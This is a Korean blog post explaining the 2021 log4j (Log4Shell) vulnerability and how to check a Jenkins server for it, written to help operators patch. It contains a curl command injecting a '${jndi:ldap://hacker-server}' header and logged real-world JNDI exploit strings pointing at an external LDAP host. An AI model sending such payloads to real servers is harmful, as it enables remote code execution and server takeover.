log4j 보안 취약점 동작원리 및 jenkins 서버 확인 방법

최근 log4j의 보안 취약점이 크게 이슈가 되고 있습니다. 많은 개발자나 운영자들이 이 조치를 위해 정신이 없을것 같아 간단하게 글로 남겨 봅니다.

log4j는 자바를 사용하는 많은 프로젝트에 사용되기 때문에 직접 개발한 코드 뿐만 아니라 자바 개발된 서버 사이드 솔루션들도 모두 점검을 해봐야 합니다. 일반적으로 가장 많이 사용되는 자바로 개발된 서버 사이드 솔루션은  대략 다음과 같습니다.

  • Tomcat
  • JBoss
  • Jenkins
  • ElasticSearch
  • Hadoop
  • Kafka
  • Spark
  • 등등

방화벽 안쪽에 있는 서버나 포트가 외부에 공개되지 않은 서버라도 모두 취약점의 대상이 될 수 있습니다. 이유는 다음과 같은 취약성 때문입니다.

취약점 동작 원리

현재 발생하고 있는 문제의 원인은 log4가 로그를 출력할 때 로그에 사용자ID 등이 있을때 자동으로 내부에서 운영중인 LDAP 서버 등에 접속을 해서 변환하는 기능을 제공하는데 이 기능을 이용하면 해커의 서버로 접속해서 해커가 만든 악성 코드를 서버로 다운로드 받게 하고 이 코드를 이용해서 서버를 탈취할 수 있게 됩니다.

예를 들어 로그를 남길때 다음과 같이 남긴다고 하면

  •  log.info("Request User Agent:{}", request.getHeader("X-Api-Version"));

해커가  악의적으로 HTTP 의 header의  X-Api-Version 값에 해커의 주소로 설정한 다음 요청을 보내면 위와 같은 동작원리에 의해 해커 서버로 요청이 전송되는 방식입니다.

  • curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://hacker-server}'

서버의 log4j로그를 보면 다음과 같은 로그가 남아 있습니다.

  • 2021-12-12 07:19:17.375 WARN 1 --- [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
  • 2021-12-12 07:19:34,650 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://hacker-server]. javax.naming.CommunicationException: hacker-server:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

재현 가능한 코드는 다음에 있습니다.

일단 재현을 해봐야 정확한 동작원리가 파악 되겠지만 일단은 여기까지 확인을 했습니다.

Jenkins 취약점 확인 방법

필자의 경우 거의 golang을 이용하고 있어 운영 중인 API 서버 등에서는 문제가 될 것이 없지만 jenkins 서버 등의 경우 여전히 자바 기반으로 운영되기 때문에 취약점을 확인해야 하고 조치를 해야 하게 되었습니다.

jenkins 서버의 경우는 다음 jenkins 공식 블로그에서 이미 log4j를 사용하고 있지 않다고 공식적으로 밝히 있습니다.

jenkins 자체는 사용하지 않지만 위 글에서도 언급하고 있는데 주의해야 할 사항은 plugin 에서는log4j를  사용할 수 있기 떄문에 다음과 같은 방식으로 현재 운영 중인 jenkins 서버에서 log4j 사용 가능여부를 확인할 수 있다고 합니다.

  • 브라우저에서 jenkins 서버 주소에 "/script" 입력
    • "https://<jenkins 서버>/script
  • 다음 코드를 입력하고 Run 버튼 클릭
    • org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource
  • 결과화면에 다음 메시지가 나타나면 문제 없음
    • groovy.lang.MissingPropertyException: No such property: org for class: Script1

다음은 필자가 운영 중인 jenkins 서버에서 확인한 화면입니다.

jenkins_log4j

보완

  • 2021.12.16
  •  2021.12.16
    • 애초에는 log4j v1을 사용하는 경우에는 문제가 없다고 알려졌는데 log4j v1의 경우 jndi 로그 기록만으로는 문제가 없는데 log4j 설정에서 JMS Appender를 사용하도록 설정할 경우에는 동일한 문제가 발생한다고 리포팅 되었습니다. log4j 환경설정에 JMS Appender 사용 확인이 필요합니다.
      • 더 나아가 JMSAppender.class를 jar 파일에서 제거할 것을 권고하네요. 삭제 방법은 아래 사이트에 있습니다.
      • http://slf4j.org/log4shell.html
  •  2021.12.14
    • 저희 운영서버 웹 서버 로그에 다음과 같은 로그가 찍히네요.
      • 150.xxx.xxx.xxx - - [14/Dec/2021:06:17:42 +0800] "GET / HTTP/1.1" 403 793 "-" "/${jndi:ldap://45.xxx.xxx.xxx:1389/Exploit}" "-" 195.xxx.xxx.xxx - - [14/Dec/2021:12:24:56 +0800] "GET / HTTP/1.1" 403 793 "-" "/${jndi:ldap://45.xxx.xxx.xxx:1389/Exploit}" "-"
    • 실제로 해킹 시도가 들어오고 있는 것 같습니다.
  •  2021.12.13 Update
    • log4j가 로그에 JNDI 서버 로그를 남기게 되면 JNDI 서버로 자동 호출이 가게 되는데 이후 해커 서버로 전송되어 악성 코드가 해당 서버에서 실행되기 까지는 심플하게 재현 되지는 않네요.
    • https://github.com/mbechler/marshalsec 이 사이트에서 소스코드를 받으면 테스트 가능한 ldap 서버나 rmi 서버를 실행하고 이를 이용해서 재현해 볼 수는 있을 것 같은데 각각 스펙이나 환경 설정 등을 맞추어야 할 것 같습니다.
    • 필자가 확인한 사항은 ldap 서버까지 호출이 되고, 이 ldap 서버에서 지정된 정보가 log4j를 출력한 서버까지 전달된다는 부분입니다.

마치며

급하게 주말에 확인하느라 잘못된 정보도 있을 수 있는데 혹시 본문에 잘못된 내용이 있으면 알려주시기 바랍니다.


Popit은 페이스북 댓글만 사용하고 있습니다. 페이스북 로그인 후 글을 보시면 댓글이 나타납니다.